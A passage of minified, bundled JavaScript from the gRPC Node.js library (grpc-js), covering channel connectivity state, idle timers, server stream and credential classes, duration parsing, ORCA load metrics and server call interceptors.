0:K.call(A)))this.trace("callRefTimer.ref | configSelectionQueue.length="+this.configSelectionQueue.length+" pickQueue.length="+this.pickQueue.length),(Y=(q=this.callRefTimer).ref)===null||Y===void 0||Y.call(q)}callRefTimerUnref(){var A,K,q;if(!((A=this.callRefTimer)===null||A===void 0?void 0:A.hasRef)||this.callRefTimer.hasRef())this.trace("callRefTimer.unref | configSelectionQueue.length="+this.configSelectionQueue.length+" pickQueue.length="+this.pickQueue.length),(q=(K=this.callRefTimer)===null||K===void 0?void 0:K.unref)===null||q===void 0||q.call(K)}removeConnectivityStateWatcher(A){let K=this.connectivityStateWatchers.findIndex((q)=>q===A);if(K>=0)this.connectivityStateWatchers.splice(K,1)}updateState(A){if((0,Ej1.trace)(Wt.LogVerbosity.DEBUG,"connectivity_state","("+this.channelzRef.id+") "+(0,kj1.uriToString)(this.target)+" "+GL.ConnectivityState[this.connectivityState]+" -> "+GL.ConnectivityState[A]),this.channelzEnabled)this.channelzInfoTracker.trace.addTrace("CT_INFO","Connectivity state change to "+GL.ConnectivityState[A]);this.connectivityState=A,this.channelzInfoTracker.state=A;let K=this.connectivityStateWatchers.slice();for(let q of K)if(A!==q.currentState){if(q.timer)clearTimeout(q.timer);this.removeConnectivityStateWatcher(q),q.callback()}if(A!==GL.ConnectivityState.TRANSIENT_FAILURE)this.currentResolutionError=null}throttleKeepalive(A){if(A>this.keepaliveTime){this.keepaliveTime=A;for(let K of this.wrappedSubchannels)K.throttleKeepalive(A)}}addWrappedSubchannel(A){this.wrappedSubchannels.add(A)}removeWrappedSubchannel(A){this.wrappedSubchannels.delete(A)}doPick(A,K){return this.currentPicker.pick({metadata:A,extraPickInfo:K})}queueCallForPick(A){this.pickQueue.push(A),this.callRefTimerRef()}getConfig(A,K){if(this.connectivityState!==GL.ConnectivityState.SHUTDOWN)this.resolvingLoadBalancer.exitIdle();if(this.configSelector)return{type:"SUCCESS",config:this.configSelector.invoke(A,K,this.randomChannelId)};else if(this.currentResolutionError)return{type:"ERROR",error:this.currentResolutionError};else return{type:"NONE"}}queueCallForConfig(A){this.configSelectionQueue.push(A),this.callRefTimerRef()}enterIdle(){if(this.resolvingLoadBalancer.destroy(),this.updateState(GL.ConnectivityState.IDLE),this.currentPicker=new VC6.QueuePicker(this.resolvingLoadBalancer),this.idleTimer)clearTimeout(this.idleTimer),this.idleTimer=null;if(this.callRefTimer)clearInterval(this.callRefTimer),this.callRefTimer=null}startIdleTimeout(A){var K,q;this.idleTimer=setTimeout(()=>{if(this.callCount>0){this.startIdleTimeout(this.idleTimeoutMs);return}let z=new Date().valueOf()-this.lastActivityTimestamp.valueOf();if(z>=this.idleTimeoutMs)this.trace("Idle timer triggered after "+this.idleTimeoutMs+"ms of inactivity"),this.enterIdle();else this.startIdleTimeout(this.idleTimeoutMs-z)},A),(q=(K=this.idleTimer).unref)===null||q===void 0||q.call(K)}maybeStartIdleTimer(){if(this.connectivityState!==GL.ConnectivityState.SHUTDOWN&&!this.idleTimer)this.startIdleTimeout(this.idleTimeoutMs)}onCallStart(){if(this.channelzEnabled)this.channelzInfoTracker.callTracker.addCallStarted();this.callCount+=1}onCallEnd(A){if(this.channelzEnabled)if(A.code===Wt.Status.OK)this.channelzInfoTracker.callTracker.addCallSucceeded();else this.channelzInfoTracker.callTracker.addCallFailed();this.callCount-=1,this.lastActivityTimestamp=new Date,this.maybeStartIdleTimer()}createLoadBalancingCall(A,K,q,Y,z){let w=(0,MC6.getNextCallNumber)();return this.trace("createLoadBalancingCall ["+w+'] method="'+K+'"'),new Gw2.LoadBalancingCall(this,A,K,q,Y,z,w)}createRetryingCall(A,K,q,Y,z){let w=(0,MC6.getNextCallNumber)();return this.trace("createRetryingCall ["+w+'] method="'+K+'"'),new PC6.RetryingCall(this,A,K,q,Y,z,w,this.retryBufferTracker,Cj1.get(this.getTarget()))}createResolvingCall(A,K,q,Y,z){let w=(0,MC6.getNextCallNumber)();this.trace("createResolvingCall ["+w+'] method="'+A+'", deadline='+(0,Zw2.deadlineToString)(K));let H={deadline:K,flags:z!==null&&z!==void 0?z:Wt.Propagate.DEFAULTS,host:q!==null&&q!==void 0?q:this.defaultAuthority,parentCall:Y},J=new Ww2.ResolvingCall(this,A,H,this.filterStackFactory.clone(),w);return this.onCallStart(),J.addStatusWatcher((O)=>{this.onCallEnd(O)}),J}close(){var A;this.resolvingLoadBalancer.destroy(),this.updateState(GL.ConnectivityState.SHUTDOWN),this.currentPicker=new Pi7;for(let K of this.configSelectionQueue)K.cancelWithStatus(Wt.Status.UNAVAILABLE,"Channel closed before call started");this.configSelectionQueue=[];for(let K of this.pickQueue)K.cancelWithStatus(Wt.Status.UNAVAILABLE,"Channel closed before call started");if(this.pickQueue=[],this.callRefTimer)clearInterval(this.callRefTimer);if(this.idleTimer)clearTimeout(this.idleTimer);if(this.channelzEnabled)(0,vFA.unregisterChannelzRef)(this.channelzRef);this.subchannelPool.unrefUnusedSubchannels(),(A=this.configSelector)===null||A===void 0||A.unref(),this.configSelector=null}getTarget(){return(0,kj1.uriToString)(this.target)}getConnectivityState(A){let K=this.connectivityState;if(A)this.resolvingLoadBalancer.exitIdle(),this.lastActivityTimestamp=new Date,this.maybeStartIdleTimer();return K}watchConnectivityState(A,K,q){if(this.connectivityState===GL.ConnectivityState.SHUTDOWN)throw Error("Channel has been shut down");let Y=null;if(K!==1/0){let w=K instanceof Date?K:new Date(K),H=new Date;if(K===-1/0||w<=H){process.nextTick(q,Error("Deadline passed without connectivity state change"));return}Y=setTimeout(()=>{this.removeConnectivityStateWatcher(z),q(Error("Deadline passed without connectivity state change"))},w.getTime()-H.getTime())}let z={currentState:A,callback:q,timer:Y};this.connectivityStateWatchers.push(z)}getChannelzRef(){return this.channelzRef}createCall(A,K,q,Y,z){if(typeof A!=="string")throw TypeError("Channel#createCall: method must be a string");if(!(typeof K==="number"||K instanceof Date))throw TypeError("Channel#createCall: deadline must be a number or Date");if(this.connectivityState===GL.ConnectivityState.SHUTDOWN)throw Error("Channel has been shut down");return this.createResolvingCall(A,K,q,Y,z)}getOptions(){return this.options}}Ni7.InternalChannel=fi7});var Ak6=v((ki7)=>{Object.defineProperty(ki7,"__esModule",{value:!0});ki7.ChannelImplementation=void 0;var Tw2=qjA(),vw2=fC6();class Ei7{constructor(A,K,q){if(typeof A!=="string")throw TypeError("Channel target must be a string");if(!(K instanceof Tw2.ChannelCredentials))throw TypeError("Channel credentials must be a ChannelCredentials object");if(q){if(typeof q!=="object")throw TypeError("Channel options must be an object")}this.internalChannel=new vw2.InternalChannel(A,K,q)}close(){this.internalChannel.close()}getTarget(){return this.internalChannel.getTarget()}getConnectivityState(A){return this.internalChannel.getConnectivityState(A)}watchConnectivityState(A,K,q){this.internalChannel.watchConnectivityState(A,K,q)}getChannelzRef(){return this.internalChannel.getChannelzRef()}createCall(A,K,q,Y,z){if(typeof A!=="string")throw TypeError("Channel#createCall: method must be a string");if(!(typeof K==="number"||K instanceof Date))throw TypeError("Channel#createCall: deadline must be a number or Date");return this.internalChannel.createCall(A,K,q,Y,z)}}ki7.ChannelImplementation=Ei7});var xi7=v((hi7)=>{Object.defineProperty(hi7,"__esModule",{value:!0});hi7.ServerDuplexStreamImpl=hi7.ServerWritableStreamImpl=hi7.ServerReadableStreamImpl=hi7.ServerUnaryCallImpl=void 0;hi7.serverErrorToStatus=vC6;var Ew2=CA("events"),NC6=CA("stream"),TC6=K9(),Li7=UG();function vC6(A,K){var q;let Y={code:TC6.Status.UNKNOWN,details:"message"in A?A.message:"Unknown Error",metadata:(q=K!==null&&K!==void 0?K:A.metadata)!==null&&q!==void 0?q:null};if("code"in A&&typeof A.code==="number"&&Number.isInteger(A.code)){if(Y.code=A.code,"details"in A&&typeof A.details==="string")Y.details=A.details}return Y}class Ri7 extends Ew2.EventEmitter{constructor(A,K,q,Y){super();this.path=A,this.call=K,this.metadata=q,this.request=Y,this.cancelled=!1}getPeer(){return this.call.getPeer()}sendMetadata(A){this.call.sendMetadata(A)}getDeadline(){return this.call.getDeadline()}getPath(){return this.path}getHost(){return this.call.getHost()}getAuthContext(){return this.call.getAuthContext()}getMetricsRecorder(){return this.call.getMetricsRecorder()}}hi7.ServerUnaryCallImpl=Ri7;class yi7 extends NC6.Readable{constructor(A,K,q){super({objectMode:!0});this.path=A,this.call=K,this.metadata=q,this.cancelled=!1}_read(A){this.call.startRead()}getPeer(){return this.call.getPeer()}sendMetadata(A){this.call.sendMetadata(A)}getDeadline(){return this.call.getDeadline()}getPath(){return this.path}getHost(){return this.call.getHost()}getAuthContext(){return this.call.getAuthContext()}getMetricsRecorder(){return this.call.getMetricsRecorder()}}hi7.ServerReadableStreamImpl=yi7;class Ii7 extends NC6.Writable{constructor(A,K,q,Y){super({objectMode:!0});this.path=A,this.call=K,this.metadata=q,this.request=Y,this.pendingStatus={code:TC6.Status.OK,details:"OK"},this.cancelled=!1,this.trailingMetadata=new Li7.Metadata,this.on("error",(z)=>{this.pendingStatus=vC6(z),this.end()})}getPeer(){return this.call.getPeer()}sendMetadata(A){this.call.sendMetadata(A)}getDeadline(){return this.call.getDeadline()}getPath(){return this.path}getHost(){return this.call.getHost()}getAuthContext(){return this.call.getAuthContext()}getMetricsRecorder(){return this.call.getMetricsRecorder()}_write(A,K,q){this.call.sendMessage(A,q)}_final(A){var K;A(null),this.call.sendStatus(Object.assign(Object.assign({},this.pendingStatus),{metadata:(K=this.pendingStatus.metadata)!==null&&K!==void 0?K:this.trailingMetadata}))}end(A){if(A)this.trailingMetadata=A;return super.end()}}hi7.ServerWritableStreamImpl=Ii7;class Si7 extends NC6.Duplex{constructor(A,K,q){super({objectMode:!0});this.path=A,this.call=K,this.metadata=q,this.pendingStatus={code:TC6.Status.OK,details:"OK"},this.cancelled=!1,this.trailingMetadata=new Li7.Metadata,this.on("error",(Y)=>{this.pendingStatus=vC6(Y),this.end()})}getPeer(){return this.call.getPeer()}sendMetadata(A){this.call.sendMetadata(A)}getDeadline(){return this.call.getDeadline()}getPath(){return this.path}getHost(){return this.call.getHost()}getAuthContext(){return this.call.getAuthContext()}getMetricsRecorder(){return this.call.getMetricsRecorder()}_read(A){this.call.startRead()}_write(A,K,q){this.call.sendMessage(A,q)}_final(A){var K;A(null),this.call.sendStatus(Object.assign(Object.assign({},this.pendingStatus),{metadata:(K=this.pendingStatus.metadata)!==null&&K!==void 0?K:this.trailingMetadata}))}end(A){if(A)this.trailingMetadata=A;return super.end()}}hi7.ServerDuplexStreamImpl=Si7});var Lj1=v((ui7)=>{Object.defineProperty(ui7,"__esModule",{value:!0});ui7.ServerCredentials=void 0;ui7.createCertificateProviderServerCredentials=yw2;ui7.createServerCredentialsWithInterceptors=Iw2;var EC6=FE6();class TjA{constructor(A,K){this.serverConstructorOptions=A,this.watchers=new Set,this.latestContextOptions=null,this.latestContextOptions=K!==null&&K!==void 0?K:null}_addWatcher(A){this.watchers.add(A)}_removeWatcher(A){this.watchers.delete(A)}getWatcherCount(){return this.watchers.size}updateSecureContextOptions(A){this.latestContextOptions=A;for(let K of this.watchers)K(this.latestContextOptions)}_isSecure(){return this.serverConstructorOptions!==null}_getSecureContextOptions(){return this.latestContextOptions}_getConstructorOptions(){return this.serverConstructorOptions}_getInterceptors(){return[]}static createInsecure(){return new kC6}static createSsl(A,K,q=!1){var Y;if(A!==null&&!Buffer.isBuffer(A))throw TypeError("rootCerts must be null or a Buffer");if(!Array.isArray(K))throw TypeError("keyCertPairs must be an array");if(typeof q!=="boolean")throw TypeError("checkClientCertificate must be a boolean");let z=[],w=[];for(let H=0;H<K.length;H++){let J=K[H];if(J===null||typeof J!=="object")throw TypeError(`keyCertPair[${H}] must be an object`);if(!Buffer.isBuffer(J.private_key))throw TypeError(`keyCertPair[${H}].private_key must be a Buffer`);if(!Buffer.isBuffer(J.cert_chain))throw TypeError(`keyCertPair[${H}].cert_chain must be a Buffer`);z.push(J.cert_chain),w.push(J.private_key)}return new CC6({requestCert:q,ciphers:EC6.CIPHER_SUITES},{ca:(Y=A!==null&&A!==void 0?A:(0,EC6.getDefaultRootsData)())!==null&&Y!==void 0?Y:void 0,cert:z,key:w})}}ui7.ServerCredentials=TjA;class kC6 extends TjA{constructor(){super(null)}_getSettings(){return null}_equals(A){return A instanceof kC6}}class CC6 extends TjA{constructor(A,K){super(A,K);this.options=Object.assign(Object.assign({},A),K)}_equals(A){if(this===A)return!0;if(!(A instanceof CC6))return!1;if(Buffer.isBuffer(this.options.ca)&&Buffer.isBuffer(A.options.ca)){if(!this.options.ca.equals(A.options.ca))return!1}else if(this.options.ca!==A.options.ca)return!1;if(Array.isArray(this.options.cert)&&Array.isArray(A.options.cert)){if(this.options.cert.length!==A.options.cert.length)return!1;for(let K=0;K<this.options.cert.length;K++){let q=this.options.cert[K],Y=A.options.cert[K];if(Buffer.isBuffer(q)&&Buffer.isBuffer(Y)){if(!q.equals(Y))return!1}else if(q!==Y)return!1}}else if(this.options.cert!==A.options.cert)return!1;if(Array.isArray(this.options.key)&&Array.isArray(A.options.key)){if(this.options.key.length!==A.options.key.length)return!1;for(let K=0;K<this.options.key.length;K++){let q=this.options.key[K],Y=A.options.key[K];if(Buffer.isBuffer(q)&&Buffer.isBuffer(Y)){if(!q.equals(Y))return!1}else if(q!==Y)return!1}}else if(this.options.key!==A.options.key)return!1;if(this.options.requestCert!==A.options.requestCert)return!1;return!0}}class LC6 extends TjA{constructor(A,K,q){super({requestCert:K!==null,rejectUnauthorized:q,ciphers:EC6.CIPHER_SUITES});this.identityCertificateProvider=A,this.caCertificateProvider=K,this.requireClientCertificate=q,this.latestCaUpdate=null,this.latestIdentityUpdate=null,this.caCertificateUpdateListener=this.handleCaCertificateUpdate.bind(this),this.identityCertificateUpdateListener=this.handleIdentityCertitificateUpdate.bind(this)}_addWatcher(A){var K;if(this.getWatcherCount()===0)(K=this.caCertificateProvider)===null||K===void 0||K.addCaCertificateListener(this.caCertificateUpdateListener),this.identityCertificateProvider.addIdentityCertificateListener(this.identityCertificateUpdateListener);super._addWatcher(A)}_removeWatcher(A){var K;if(super._removeWatcher(A),this.getWatcherCount()===0)(K=this.caCertificateProvider)===null||K===void 0||K.removeCaCertificateListener(this.caCertificateUpdateListener),this.identityCertificateProvider.removeIdentityCertificateListener(this.identityCertificateUpdateListener)}_equals(A){if(this===A)return!0;if(!(A instanceof LC6))return!1;return this.caCertificateProvider===A.caCertificateProvider&&this.identityCertificateProvider===A.identityCertificateProvider&&this.requireClientCertificate===A.requireClientCertificate}calculateSecureContextOptions(){var A;if(this.latestIdentityUpdate===null)return null;if(this.caCertificateProvider!==null&&this.latestCaUpdate===null)return null;return{ca:(A=this.latestCaUpdate)===null||A===void 0?void 0:A.caCertificate,cert:[this.latestIdentityUpdate.certificate],key:[this.latestIdentityUpdate.privateKey]}}finalizeUpdate(){let A=this.calculateSecureContextOptions();this.updateSecureContextOptions(A)}handleCaCertificateUpdate(A){this.latestCaUpdate=A,this.finalizeUpdate()}handleIdentityCertitificateUpdate(A){this.latestIdentityUpdate=A,this.finalizeUpdate()}}function yw2(A,K,q){return new LC6(A,K,q)}class RC6 extends TjA{constructor(A,K){super({});this.childCredentials=A,this.interceptors=K}_isSecure(){return this.childCredentials._isSecure()}_equals(A){if(!(A instanceof RC6))return!1;if(!this.childCredentials._equals(A.childCredentials))return!1;if(this.interceptors.length!==A.interceptors.length)return!1;for(let K=0;K<this.interceptors.length;K++)if(this.interceptors[K]!==A.interceptors[K])return!1;return!0}_getInterceptors(){return this.interceptors}_addWatcher(A){this.childCredentials._addWatcher(A)}_removeWatcher(A){this.childCredentials._removeWatcher(A)}_getConstructorOptions(){return this.childCredentials._getConstructorOptions()}_getSecureContextOptions(){return this.childCredentials._getSecureContextOptions()}}function Iw2(A,K){return new RC6(A,K)}});var EFA=v((mi7)=>{Object.defineProperty(mi7,"__esModule",{value:!0});mi7.durationMessageToDuration=bw2;mi7.msToDuration=xw2;mi7.durationToMs=uw2;mi7.isDuration=Bw2;mi7.isDurationMessage=mw2;mi7.parseDuration=Fw2;mi7.durationToString=Qw2;function bw2(A){return{seconds:Number.parseInt(A.seconds),nanos:A.nanos}}function xw2(A){return{seconds:A/1000|0,nanos:A%1000*1e6|0}}function uw2(A){return A.seconds*1000+A.nanos/1e6|0}function Bw2(A){return typeof A.seconds==="number"&&typeof A.nanos==="number"}function mw2(A){return typeof A.seconds==="string"&&typeof A.nanos==="number"}var gw2=/^(\d+)(?:\.(\d+))?s$/;function Fw2(A){let K=A.match(gw2);if(!K)return null;return{seconds:Number.parseInt(K[1],10),nanos:K[2]?Number.parseInt(K[2].padEnd(9,"0"),10):0}}function Qw2(A){if(A.nanos===0)return`${A.seconds}s`;let K;if(A.nanos%1e6===0)K=1e6;else if(A.nanos%1000===0)K=1000;else K=1;return`${A.seconds}.${A.nanos/K}s`}});var yj1=v((ri7)=>{var __dirname="/home/runner/code/tmp/claude-cli-external-build-2157/node_modules/@grpc/grpc-js/build/src";Object.defineProperty(ri7,"__esModule",{value:!0});ri7.OrcaOobMetricsSubchannelWrapper=ri7.GRPC_METRICS_HEADER=ri7.ServerMetricRecorder=ri7.PerRequestMetricRecorder=void 0;ri7.createOrcaClient=di7;ri7.createMetricsReader=AH2;var rw2=mD1(),yC6=EFA(),ow2=qjA(),aw2=TFA(),gi7=K9(),sw2=YjA(),tw2=wP(),Fi7=null;function Rj1(){if(Fi7)return Fi7;let A=ik6().loadSync,K=A("xds/service/orca/v3/orca.proto",{keepCase:!0,longs:String,enums:String,defaults:!0,oneofs:!0,includeDirs:[`${__dirname}/../../proto/xds`,`${__dirname}/../../proto/protoc-gen-validate`]});return(0,rw2.loadPackageDefinition)(K)}class Ui7{constructor(){this.message={}}recordRequestCostMetric(A,K){if(!this.message.request_cost)this.message.request_cost={};this.message.request_cost[A]=K}recordUtilizationMetric(A,K){if(!this.message.utilization)this.message.utilization={};this.message.utilization[A]=K}recordNamedMetric(A,K){if(!this.message.named_metrics)this.message.named_metrics={};this.message.named_metrics[A]=K}recordCPUUtilizationMetric(A){this.message.cpu_utilization=A}recordMemoryUtilizationMetric(A){this.message.mem_utilization=A}recordApplicationUtilizationMetric(A){this.message.application_utilization=A}recordQpsMetric(A){this.message.rps_fractional=A}recordEpsMetric(A){this.message.eps=A}serialize(){return Rj1().xds.data.orca.v3.OrcaLoadReport.serialize(this.message)}}ri7.PerRequestMetricRecorder=Ui7;var ew2=30000;class pi7{constructor(){this.message={},this.serviceImplementation={StreamCoreMetrics:(A)=>{let K=A.request.report_interval?(0,yC6.durationToMs)((0,yC6.durationMessageToDuration)(A.request.report_interval)):ew2,q=setInterval(()=>{A.write(this.message)},K);A.on("cancelled",()=>{clearInterval(q)})}}}putUtilizationMetric(A,K){if(!this.message.utilization)this.message.utilization={};this.message.utilization[A]=K}setAllUtilizationMetrics(A){this.message.utilization=Object.assign({},A)}deleteUtilizationMetric(A){var K;(K=this.message.utilization)===null||K===void 0||delete K[A]}setCpuUtilizationMetric(A){this.message.cpu_utilization=A}deleteCpuUtilizationMetric(){delete this.message.cpu_utilization}setApplicationUtilizationMetric(A){this.message.application_utilization=A}deleteApplicationUtilizationMetric(){delete this.message.application_utilization}setQpsMetric(A){this.message.rps_fractional=A}deleteQpsMetric(){delete this.message.rps_fractional}setEpsMetric(A){this.message.eps=A}deleteEpsMetric(){delete this.message.eps}addToServer(A){let K=Rj1().xds.service.orca.v3.OpenRcaService.service;A.addService(K,this.serviceImplementation)}}ri7.ServerMetricRecorder=pi7;function di7(A){return new(Rj1()).xds.service.orca.v3.OpenRcaService("unused",ow2.ChannelCredentials.createInsecure(),{channelOverride:A})}ri7.GRPC_METRICS_HEADER="endpoint-load-metrics-bin";var Qi7="grpc_orca_load_report";function AH2(A,K){return(q,Y,z)=>{let w=z.getOpaque(Qi7);if(w)A(w);else{let H=z.get(ri7.GRPC_METRICS_HEADER);if(H.length>0)w=Rj1().xds.data.orca.v3.OrcaLoadReport.deserialize(H[0]),A(w),z.setOpaque(Qi7,w)}if(K)K(q,Y,z)}}var ci7="orca_oob_metrics";class li7{constructor(A,K){this.metricsListener=A,this.intervalMs=K,this.dataProducer=null}setSubchannel(A){let K=A.getOrCreateDataProducer(ci7,KH2);this.dataProducer=K,K.addDataWatcher(this)}destroy(){var A;(A=this.dataProducer)===null||A===void 0||A.removeDataWatcher(this)}getInterval(){return this.intervalMs}onMetricsUpdate(A){this.metricsListener(A)}}class ii7{constructor(A){this.subchannel=A,this.dataWatchers=new Set,this.orcaSupported=!0,this.metricsCall=null,this.currentInterval=1/0,this.backoffTimer=new sw2.BackoffTimeout(()=>this.updateMetricsSubscription()),this.subchannelStateListener=()=>this.updateMetricsSubscription();let K=A.getChannel();this.client=di7(K),A.addConnectivityStateListener(this.subchannelStateListener)}addDataWatcher(A){this.dataWatchers.add(A),this.updateMetricsSubscription()}removeDataWatcher(A){var K;if(this.dataWatchers.delete(A),this.dataWatchers.size===0)this.subchannel.removeDataProducer(ci7),(K=this.metricsCall)===null||K===void 0||K.cancel(),this.metricsCall=null,this.client.close(),this.subchannel.removeConnectivityStateListener(this.subchannelStateListener);else this.updateMetricsSubscription()}updateMetricsSubscription(){var A;if(this.dataWatchers.size===0||!this.orcaSupported||this.subchannel.getConnectivityState()!==tw2.ConnectivityState.READY)return;let K=Math.min(...Array.from(this.dataWatchers).map((q)=>q.getInterval()));if(!this.metricsCall||K!==this.currentInterval){(A=this.metricsCall)===null||A===void 0||A.cancel(),this.currentInterval=K;let q=this.client.streamCoreMetrics({report_interval:(0,yC6.msToDuration)(K)});this.metricsCall=q,q.on("data",(Y)=>{this.dataWatchers.forEach((z)=>{z.onMetricsUpdate(Y)})}),q.on("error",(Y)=>{if(this.metricsCall=null,Y.code===gi7.Status.UNIMPLEMENTED){this.orcaSupported=!1;return}if(Y.code===gi7.Status.CANCELLED)return;this.backoffTimer.runOnce()})}}}class ni7 extends aw2.BaseSubchannelWrapper{constructor(A,K,q){super(A);this.addDataWatcher(new li7(K,q))}getWrappedSubchannel(){return this.child}}ri7.OrcaOobMetricsSubchannelWrapper=ni7;function KH2(A){return new ii7(A)}});var bC6=v(($n7)=>{Object.defineProperty($n7,"__esModule",{value:!0});$n7.BaseServerInterceptingCall=$n7.ServerInterceptingCall=$n7.ResponderBuilder=$n7.ServerListenerBuilder=void 0;$n7.isInterceptingServerListener=OH2;$n7.getServerInterceptingCall=ZH2;var hj1=UG(),gf=K9(),vjA=CA("http2"),si7=ND1(),ti7=CA("zlib"),HH2=_C6(),Yn7=Lw(),JH2=CA("tls"),ei7=yj1(),zn7="server_call";function z3A(A){Yn7.trace(gf.LogVerbosity.DEBUG,zn7,A)}class wn7{constructor(){this.metadata=void 0,this.message=void 0,this.halfClose=void 0,this.cancel=void 0}withOnReceiveMetadata(A){return this.metadata=A,this}withOnReceiveMessage(A){return this.message=A,this}withOnReceiveHalfClose(A){return this.halfClose=A,this}withOnCancel(A){return this.cancel=A,this}build(){return{onReceiveMetadata:this.metadata,onReceiveMessage:this.message,onReceiveHalfClose:this.halfClose,onCancel:this.cancel}}}$n7.ServerListenerBuilder=wn7;function OH2(A){return A.onReceiveMetadata!==void 0&&A.onReceiveMetadata.length===1}class Hn7{constructor(A,K){this.listener=A,this.nextListener=K,this.cancelled=!1,this.processingMetadata=!1,this.hasPendingMessage=!1,this.pendingMessage=null,this.processingMessage=!1,this.hasPendingHalfClose=!1}processPendingMessage(){if(this.hasPendingMessage)this.nextListener.onReceiveMessage(this.pendingMessage),this.pendingMessage=null,this.hasPendingMessage=!1}processPendingHalfClose(){if(this.hasPendingHalfClose)this.nextListener.onReceiveHalfClose(),this.hasPendingHalfClose=!1}onReceiveMetadata(A){if(this.cancelled)return;this.processingMetadata=!0,this.listener.onReceiveMetadata(A,(K)=>{if(this.processingMetadata=!1,this.cancelled)return;this.nextListener.onReceiveMetadata(K),this.processPendingMessage(),this.processPendingHalfClose()})}onReceiveMessage(A){if(this.cancelled)return;this.processingMessage=!0,this.listener.onReceiveMessage(A,(K)=>{if(this.processingMessage=!1,this.cancelled)return;if(this.processingMetadata)this.pendingMessage=K,this.hasPendingMessage=!0;else this.nextListener.onReceiveMessage(K),this.processPendingHalfClose()})}onReceiveHalfClose(){if(this.cancelled)return;this.listener.onReceiveHalfClose(()=>{if(this.cancelled)return;if(this.processingMetadata||this.processingMessage)this.hasPendingHalfClose=!0;else this.nextListener.onReceiveHalfClose()})}onCancel(){this.cancelled=!0,this.listener.onCancel(),this.nextListener.onCancel()}}class Jn7{constructor(){this.start=void 0,this.metadata=void 0,this.message=void 0,this.status=void 0}withStart(A){return this.start=A,this}withSendMetadata(A){return this.metadata=A,this}withSendMessage(A){return this.message=A,this}withSendStatus(A){return this.status=A,this}build(){return{start:this.start,sendMetadata:this.metadata,sendMessage:this.message,sendStatus:this.status}}}$n7.ResponderBuilder=Jn7;var Ij1={onReceiveMetadata:(A,K)=>{K(A)},onReceiveMessage:(A,K)=>{K(A)},onReceiveHalfClose:(A)=>{A()},onCancel:()=>{}},Sj1={start:(A)=>{A()},sendMetadata:(A,K)=>{K(A)},sendMessage:(A,K)=>{K(A)},sendStatus:(A,K)=>{K(A)}};class On7{constructor(A,K){var q,Y,z,w;this.nextCall=A,this.processingMetadata=!1,this.sentMetadata=!1,this.processingMessage=!1,this.pendingMessage=null,this.pendingMessageCallback=null,this.pendingStatus=null,this.responder={start:(q=K===null||K===void 0?void 0:K.start)!==null&&q!==void 0?q:Sj1.start,sendMetadata:(Y=K===null||K===void 0?void 0:K.sendMetadata)!==null&&Y!==void 0?Y:Sj1.sendMetadata,sendMessage:(z=K===null||K===void 0?void 0:K.sendMessage)!==null&&z!==void 0?z:Sj1.sendMessage,sendStatus:(w=K===null||K===void 0?void 0:K.sendStatus)!==null&&w!==void 0?w:Sj1.sendStatus}}processPendingMessage(){if(this.pendingMessageCallback)this.nextCall.sendMessage(this.pendingMessage,this.pendingMessageCallback),this.pendingMessage=null,this.pendingMessageCallback=null}processPendingStatus(){if(this.pendingStatus)this.nextCall.sendStatus(this.pendingStatus),this.pendingStatus=null}start(A){this.responder.start((K)=>{var q,Y,z,w;let H={onReceiveMetadata:(q=K===null||K===void 0?void 0:K.onReceiveMetadata)!==null&&q!==void 0?q:Ij1.onReceiveMetadata,onReceiveMessage:(Y=K===null||K===void 0?void 0:K.onReceiveMessage)!==null&&Y!==void 0?Y:Ij1.onReceiveMessage,onReceiveHalfClose:(z=K===null||K===void 0?void 0:K.onReceiveHalfClose)!==null&&z!==void 0?z:Ij1.onReceiveHalfClose,onCancel:(w=K===null||K===void 0?void 0:K.onCancel)!==null&&w!==void 0?w:Ij1.onCancel},J=new Hn7(H,A);this.nextCall.start(J)})}sendMetadata(A){this.processingMetadata=!0,this.sentMetadata=!0,this.responder.sendMetadata(A,(K)=>{this.processingMetadata=!1,this.nextCall.sendMetadata(K),this.processPendingMessage(),this.processPendingStatus()})}sendMessage(A,K){if(this.processingMessage=!0,!this.sentMetadata)this.sendMetadata(new hj1.Metadata);this.responder.sendMessage(A,(q)=>{if(this.processingMessage=!1,this.processingMetadata)this.pendingMessage=q,this.pendingMessageCallback=K;else this.nextCall.sendMessage(q,K)})}sendStatus(A){this.responder.sendStatus(A,(K)=>{if(this.processingMetadata||this.processingMessage)this.pendingStatus=K;else this.nextCall.sendStatus(K)})}startRead(){this.nextCall.startRead()}getPeer(){return this.nextCall.getPeer()}getDeadline(){return this.nextCall.getDeadline()}getHost(){return this.nextCall.getHost()}getAuthContext(){return this.nextCall.getAuthContext()}getConnectionInfo(){return this.nextCall.getConnectionInfo()}getMetricsRecorder(){return this.nextCall.getMetricsRecorder()}}$n7.ServerInterceptingCall=On7;var Xn7="grpc-accept-encoding",SC6="grpc-encoding",An7="grpc-message",Kn7="grpc-status",IC6="grpc-timeout",XH2=/(\d{1,8})\s*([HMSmun])/,$H2={H:3600000,M:60000,S:1000,m:1,u:0.001,n:0.000001},_H2={[Xn7]:"identity,deflate,gzip",[SC6]:"identity"},qn7={[vjA.constants.HTTP2_HEADER_STATUS]:vjA.constants.HTTP_STATUS_OK,[vjA.constants.HTTP2_HEADER_CONTENT_TYPE]:"application/grpc+proto"},GH2={waitForTrailers:!0};class hC6{constructor(A,K,q,Y,z){var w,H;if(this.stream=A,this.callEventTracker=q,this.handler=Y,this.listener=null,this.deadlineTimer=null,this.deadline=1/0,this.maxSendMessageSize=gf.DEFAULT_MAX_SEND_MESSAGE_LENGTH,this.maxReceiveMessageSize=gf.DEFAULT_MAX_RECEIVE_MESSAGE_LENGTH,this.cancelled=!1,this.metadataSent=!1,this.wantTrailers=!1,this.cancelNotified=!1,this.incomingEncoding="identity",this.readQueue=[],this.isReadPending=!1,this.receivedHalfClose=!1,this.streamEnded=!1,this.metricsRecorder=new ei7.PerRequestMetricRecorder,this.stream.once("error",(_)=>{}),this.stream.once("close",()=>{var _;if(z3A("Request to method "+((_=this.handler)===null||_===void 0?void 0:_.path)+" stream closed with rstCode "+this.stream.rstCode),this.callEventTracker&&!this.streamEnded)this.streamEnded=!0,this.callEventTracker.onStreamEnd(!1),this.callEventTracker.onCallEnd({code:gf.Status.CANCELLED,details:"Stream closed before sending status",metadata:null});this.notifyOnCancel()}),this.stream.on("data",(_)=>{this.handleDataFrame(_)}),this.stream.pause(),this.stream.on("end",()=>{this.handleEndEvent()}),"grpc.max_send_message_length"in z)this.maxSendMessageSize=z["grpc.max_send_message_length"];if("grpc.max_receive_message_length"in z)this.maxReceiveMessageSize=z["grpc.max_receive_message_length"];this.host=(w=K[":authority"])!==null&&w!==void 0?w:K.host,this.decoder=new HH2.StreamDecoder(this.maxReceiveMessageSize);let 